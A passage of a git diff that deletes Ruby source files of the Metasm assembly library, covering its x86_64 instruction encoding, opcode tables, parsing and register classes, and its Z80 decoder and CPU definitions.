op.props[:opsz] == 64) - when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] - when 16; pfx << 0x66 - end - end - opsz ||= @size - - # addrsize override / segment override / rex_bx - if mrm = i.args.grep(ModRM).first - mrm.encode(0, @endianness) if mrm.b or mrm.i # may reorder b/i, which must be correct for rex - rex_b = 1 if mrm.b and mrm.b.val_rex.to_i > 0 - rex_x = 1 if mrm.i and mrm.i.val_rex.to_i > 0 - pfx << 0x67 if (mrm.b and mrm.b.sz == 32) or (mrm.i and mrm.i.sz == 32) or op.props[:adsz] == 32 - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - elsif op.props[:adsz] == 32 - pfx << 0x67 - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg - set_field[oa, ia.val_enc] - if op.fields[:reg][1] == 3 - rex_r = ia.val_rex || 0 - else - rex_b = ia.val_rex || 0 - end - when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm - set_field[oa, ia.val & 7] - rex_r = 1 if ia.val > 7 - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :vexvreg, :vexvxmm, :vexvymm - set_field[:vex_vvvv, ia.val ^ 0xf] - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - # postpone, but we must set rex now - case ia - when ModRM - ia.encode(0, @endianness) # could swap b/i - rex_x = ia.i.val_rex || 0 if ia.i - rex_b = ia.b.val_rex || 0 if ia.b - when Reg - rex_b = ia.val_rex || 0 - else - rex_b = ia.val >> 3 - end - postponed << [oa, ia] - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - pfx << op.props[:needpfx] if op.props[:needpfx] - - if op.fields[:vex_r] - set_field[:vex_r, rex_r ^ 1] - set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x] - set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b] - set_field[:vex_w, rex_w] if op.fields[:vex_w] - elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } - rex = 0x40 - rex |= 1 if rex_b == 1 - rex |= 2 if rex_x == 1 - rex |= 4 if rex_r == 1 - rex |= 8 if rex_w == 1 - pfx << rex - end - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| ary << (ret.dup << m) } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) - when :i - type = if opsz == 64 - if op.props[:imm64] - :a64 - else - if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1 - # handle 0xffffffff_ffffffff -> -1, which should fit in i32 - ia = Expression[_ia - (1 << 64)] - end - :i32 - end - else - "a#{opsz}".to_sym - end - ed = ia.encode(type, @endianness) - when :i4xmm, :i4ymm - ed = ia.val << 4 # u8 - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb deleted file mode 100644 index 7c9b74250c..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/main.rb +++ /dev/null @@ -1,147 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/ia32' - -module Metasm - -# The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) -class X86_64 < Ia32 - # FpReg, SegReg, Farptr unchanged - - # XMM extended to 16 regs, YMM - class SimdReg < Ia32::SimdReg - double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..15).map { |n| "xmm#{n}" }, - 256 => (0..15).map { |n| "ymm#{n}" } - - def val_enc - @val & 7 - end - - def val_rex - @val >> 3 - end - end - - # general purpose registers, all sizes - # 8 new gprs (r8..r15), set bit R in the REX prefix to reference them (or X/B if in ModRM) - # aonethusaontehsanothe with 8bit subreg: with no rex prefix, refers to ah ch dh bh (as usual) - # but whenever the prefix is present, those become unavailable and encodie spl..dil (low byte of rsp/rdi) - class Reg < Ia32::Reg - double_map 8 => %w{ al cl dl bl spl bpl sil dil r8b r9b r10b r11b r12b r13b r14b r15b ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di r8w r9w r10w r11w r12w r13w r14w r15w}, - 32 => %w{eax ecx edx ebx esp ebp esi edi r8d r9d r10d r11d r12d r13d r14d r15d eip}, - 64 => %w{rax rcx rdx rbx rsp rbp rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 rip} - - Sym = @i_to_s[64].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # cx => :rcx & 0xffff - # ah => (:rax >> 8) & 0xff - # XXX in x64, 32bits operations are zero-extended to 64bits (eg mov rax, 0x1234_ffff_ffff ; add eax, 1 => rax == 0 - def symbolic(di=nil) - s = Sym[@val] - s = di.next_addr if s == :rip and di - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-16], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - elsif @sz == 32 - Expression[s, :&, 0xffffffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - raise 'TODO' - # XXX TODO wtf does formula this do ? - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - - # returns the part of @val to encode in an instruction field - def val_enc - if @sz == 8 and @val >= 16; @val-12 # ah, bh, ch, dh - elsif @val >= 16 # rip - else @val & 7 # others - end - end - - # returns the part of @val to encode in an instruction's rex prefix - def val_rex - if @sz == 8 and @val >= 16 # ah, bh, ch, dh: rex forbidden - elsif @val >= 16 # rip - else @val >> 3 # others - end - end - end - - # ModRM represents indirections (eg dword ptr [eax+4*ebx+12h]) - # 16bit mode unavailable in x64 - # opcodes use 64bit addressing by default, use adsz override (67h) prefix to switch to 32 - # immediate values are encoded as :i32 sign-extended to 64bits - class ModRM < Ia32::ModRM - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - end - - class DbgReg < Ia32::DbgReg - simple_map((0..15).map { |i| [i, "dr#{i}"] }) - end - - class CtrlReg < Ia32::CtrlReg - simple_map((0..15).map { |i| [i, "cr#{i}"] }) - end - - class TstReg < Ia32::TstReg - simple_map((0..15).map { |i| [i, "tr#{i}"] }) - end - - # Create a new instance of an X86 cpu - # arguments (any order) - # - instruction set (386, 486, sse2...) [latest] - # - endianness [:little] - def initialize(*a) - super(:latest) - @size = 64 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid X86_64 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # defines some preprocessor macros to say who we are: - # TODO - def tune_prepro(pp) - super(pp, :itsmeX64) # ask Ia32's to just call super() - pp.define_weak('_M_AMD64') - pp.define_weak('_M_X64') - pp.define_weak('__amd64__') - pp.define_weak('__x86_64__') - end - - def str_to_reg(str) - # X86_64::Reg != Ia32::Reg - Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil - end - - def shortname - "x64#{'_be' if @endianness == :big}" - end -end - -X64 = X86_64 -AMD64 = X86_64 - -end diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb deleted file mode 100644 index f023c5162d..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/opcodes.rb +++ /dev/null @@ -1,136 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/main' -require 'metasm/cpu/ia32/opcodes' - -module Metasm -class X86_64 - def init_cpu_constants - super() - [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true } - end - - def init_386_common_only - super() - # :imm64 => accept a real int64 as :i argument - # :auto64 => ignore rex_w, always 64-bit op - # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest - [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true } - @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix - @opcode_list.each { |o| - o.props[:imm64] = true if o.bin == [0xB8] # mov reg, - o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/ - } - addop 'movsxd', [0x63], :mrm - addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } - addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } - end - - # all x86_64 cpu understand <= sse2 instrs - def init_x8664_only - init_386_common_only - init_386_only - init_387_only - init_486_only - init_pentium_only - init_p6_only - init_sse_only - init_sse2_only - - @opcode_list.delete_if { |o| - o.args.include?(:seg2) or - o.args.include?(:seg2A) or - o.args.include?(:farptr) or - %w[aaa aad aam aas bound daa das into jcxz jecxz - lds les loadall arpl pusha pushad popa - popad].include?(o.name.split('.')[0]) - # split needed for lds.a32 - } - - @opcode_list.each { |o| - o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/ - } - - addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 } - addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop - addop 'swapgs', [0x0F, 0x01, 0xF8] - - addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } - addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 - addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } - end - - def init_sse3 - init_x8664_only - init_sse3_only - end - - def init_sse41_only - super() - addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } - addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } - end - - def init_avx_only - super() - addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 } - end - - def addop_macrostr(name, bin, type) - super(name, bin, type) - bin = bin.dup - bin[0] |= 1 - addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } - end - - def addop_macroret(name, bin, *args) - addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 } - super(name, bin, *args) - end - - def addop_post(op) - if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 - return super(op) - end - - if op.props[:needpfx] - @opcode_list.unshift op - else - @opcode_list << op - end - - if op.args == [:i] or op.name == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = op.dup - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - # push call ret jz can't 32bit - op64 = op.dup - op64.name << '.i64' - op64.props[:opsz] = 64 - @opcode_list << op64 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (movsq) - # XXX loop pfx 67 = rip+ecx, 66/rex ignored - op32 = op.dup - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - op64 = op.dup - op64.name << '.a64' - op64.props[:adsz] = 64 - @opcode_list << op64 - end - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb deleted file mode 100644 index 8a558ba1df..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/parse.rb +++ /dev/null @@ -1,76 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/cpu/x86_64/encode' -require 'metasm/parse' - -module Metasm -class X86_64 - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - if tok = lexer.readtok and tok.type == :string and tok.raw == '64' - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode, 64bit only' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - super(i, pfx) or (i.prefix[:sz] = 64 if pfx == 'code64') - end - - # needed due to how ruby inheritance works wrt constants - def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] - end - # same inheritance sh*t - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - def parse_instruction_checkproto(i) - # check ah vs rex prefix - return if i.args.find { |a| a.kind_of? Reg and a.sz == 8 and a.val >= 16 and - op = opcode_list.find { |op_| op_.name == i.opname } and - ((not op.props[:auto64] and i.args.find { |aa| aa.respond_to? :sz and aa.sz == 64 }) or - i.args.find { |aa| aa.kind_of? Reg and aa.val >= 8 and aa.val < 16 } or # XXX mov ah, cr12... - i.args.grep(ModRM).find { |aa| (aa.b and aa.b.val >= 8 and aa.b.val < 16) or (aa.i and aa.i.val >= 8 and aa.i.val < 16) }) - } - super(i) - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) - return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm - return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 - # vex c4/c5 - return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) - if o.name == 'movsxd' - return if not arg.kind_of? Reg and not arg.kind_of? ModRM - arg.sz ||= 32 - if spec == :reg - return if not arg.kind_of? Reg - return arg.sz >= 32 - else - return arg.sz == 32 - end - end - return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0 - - super(o, spec, arg) - end - - def check_reserved_name(name) - Reg.s_to_i[name] - end -end -end diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb deleted file mode 100644 index c14813f01c..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/render.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/opcodes' -require 'metasm/render' - -module Metasm -class X86_64 - def gui_hilight_word_regexp_init - ret = {} - - %w[a b c d].each { |r| - ret["#{r}l"] = "[re]?#{r}x|#{r}l" - ret["#{r}h"] = "[re]?#{r}x|#{r}h" - ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" - } - - %w[sp bp si di].each { |r| - ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" - } - - (8..15).each { |i| - r = "r#{i}" - ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" - } - - ret['eip'] = ret['rip'] = '[re]ip' - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb deleted file mode 100644 index a842092909..0000000000 --- a/lib/metasm/metasm/cpu/z80.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/z80/decode' -require 'metasm/cpu/z80/render' diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb deleted file mode 100644 index f4f6898646..0000000000 --- a/lib/metasm/metasm/cpu/z80/decode.rb +++ /dev/null @@ -1,313 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/z80/opcodes' -require 'metasm/decode' - -module Metasm -class Z80 - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = op.bin[0] - msk = op.bin_mask[0] - next @unknown_opcode = op if not b - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_prefix(instr, byte) - case byte - when 0xDD; instr.prefix = 0xDD - when 0xFD; instr.prefix = 0xFD - # implicit 'else return false' - end - end - - # tries to find the opcode encoded at edata.ptr - # if no match, tries to match a prefix (update di.instruction.prefix) - # on match, edata.ptr points to the first byte of the opcode (after prefixes) - def decode_findopcode(edata) - di = DecodedInstruction.new self - while edata.ptr < edata.data.length - byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of?(::String) - return di if di.opcode = @bin_lookaside[byte].find { |op| - # fetch the relevant bytes from edata - bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - # check against full opcode mask - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } - } - - if decode_prefix(di.instruction, edata.get_byte) - nb = edata.data[edata.ptr] - nb = nb.unpack('C').first if nb.kind_of?(::String) - case nb - when 0xCB - # DD CB [] - di.instruction.prefix |= edata.get_byte << 8 - di.bin_length += 2 - opc = edata.data[edata.ptr+1] - opc = opc.unpack('C').first if opc.kind_of?(::String) - bseq = [0xCB, opc] - # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb - return di if di.opcode = @bin_lookaside[nb].find { |op| - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } - } - when 0xED - di.instruction.prefix = nil - end - else - di.opcode = @unknown_opcode - return di - end - di.bin_length += 1 - end - end - - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - - op.args.each { |a| - di.instruction.args << case a - when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)] - when :iy; Expression[field_val[a]] - when :iy8; Expression[field_val[a]*8] - - when :rp - v = field_val[a] - Reg.new(16, v) - when :rp2 - v = field_val[a] - v = 4 if v == 3 - Reg.new(16, v) - when :ry, :rz - v = field_val[a] - if v == 6 - Memref.new(Reg.from_str('HL'), nil, 1) - else - Reg.new(8, v) - end - - when :r_a; Reg.from_str('A') - when :r_af; Reg.from_str('AF') - when :r_hl; Reg.from_str('HL') - when :r_de; Reg.from_str('DE') - when :r_sp; Reg.from_str('SP') - when :r_i; Reg.from_str('I') - - when :m16; Memref.new(nil, edata.decode_imm(:u16, @endianness), nil) - when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1) - when :m_de; Memref.new(Reg.from_str('DE'), nil, 1) - when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2) - when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1) - when :mf8; Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1) - when :mfc; Memref.new(Reg.from_str('C'), 0xff00, 1) - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - case pfx - when 0xDD - when 0xFD - when 0xCBDD - when 0xCBFD - end - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = 0xffff - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } } - when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } } - when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } } - when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc' - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'cp', 'cmp'; lambda { |di, *a| {} } - when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } - when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } - when 'push' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[a0] } } - when 'pop' - lambda { |di, a0| { :sp => Expression[:sp, :+, 2], - a0 => Indirection[:sp, 2, di.address] } } - when 'call' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[di.next_addr] } - } - when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } - # TODO callCC, retCC ... - when 'bswap' - lambda { |di, a0| { a0 => Expression[ - [[a0, :&, 0xff00], :>>, 8], :|, - [[a0, :&, 0x00ff], :<<, 8]] } } - when 'nop', /^j/; lambda { |di, *a| {} } - end - - # TODO flags ? - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - def fix_fwdemu_binding(di, fbd) - case di.opcode.name - when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - case di.opcode.basename - when 'ret', 'reti' - return [Indirection[:sp, 2, di.address]] - when /^jr|^djnz/ - # jmp/call are absolute addrs, only jr/djnz are relative - # also, the asm source should display the relative offset - return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]] - end - - case tg = di.instruction.args.first - when Memref; [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include?(:sp) - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb deleted file mode 100644 index 516c919e8b..0000000000 --- a/lib/metasm/metasm/cpu/z80/main.rb +++ /dev/null @@ -1,67 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Z80 < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', - 4 => 'H', 5 => 'L', 7 => 'A' }, - 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', - 4 => 'AF' } } # AF is 3 too - @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| - h.update rh.inject({}) { |hh, (i, n)| - hh.update n => [sz, i] } } - - attr_accessor :sz, :i - def initialize(sz, i) - @sz = sz - @i = i - end - - def symbolic(orig=nil) ; to_s.to_sym ; end - - def self.from_str(s) - raise "Bad name #{s.inspect}" if not x = @s_to_i[s] - new(*x) - end - end - - class Memref - attr_accessor :base, :offset, :sz - def initialize(base, offset, sz=nil) - @base = base - offset = Expression[offset] if offset - @offset = offset - @sz = sz - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz, orig] - end - end - - def initialize(family = :latest) - super() - @endianness = :little - @size = 16 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb deleted file mode 100644 index 055de44249..0000000000 --- a/lib/metasm/metasm/cpu/z80/opcodes.rb +++ /dev/null @@ -1,224 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/z80/main' - -module Metasm - -class Z80 - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] or 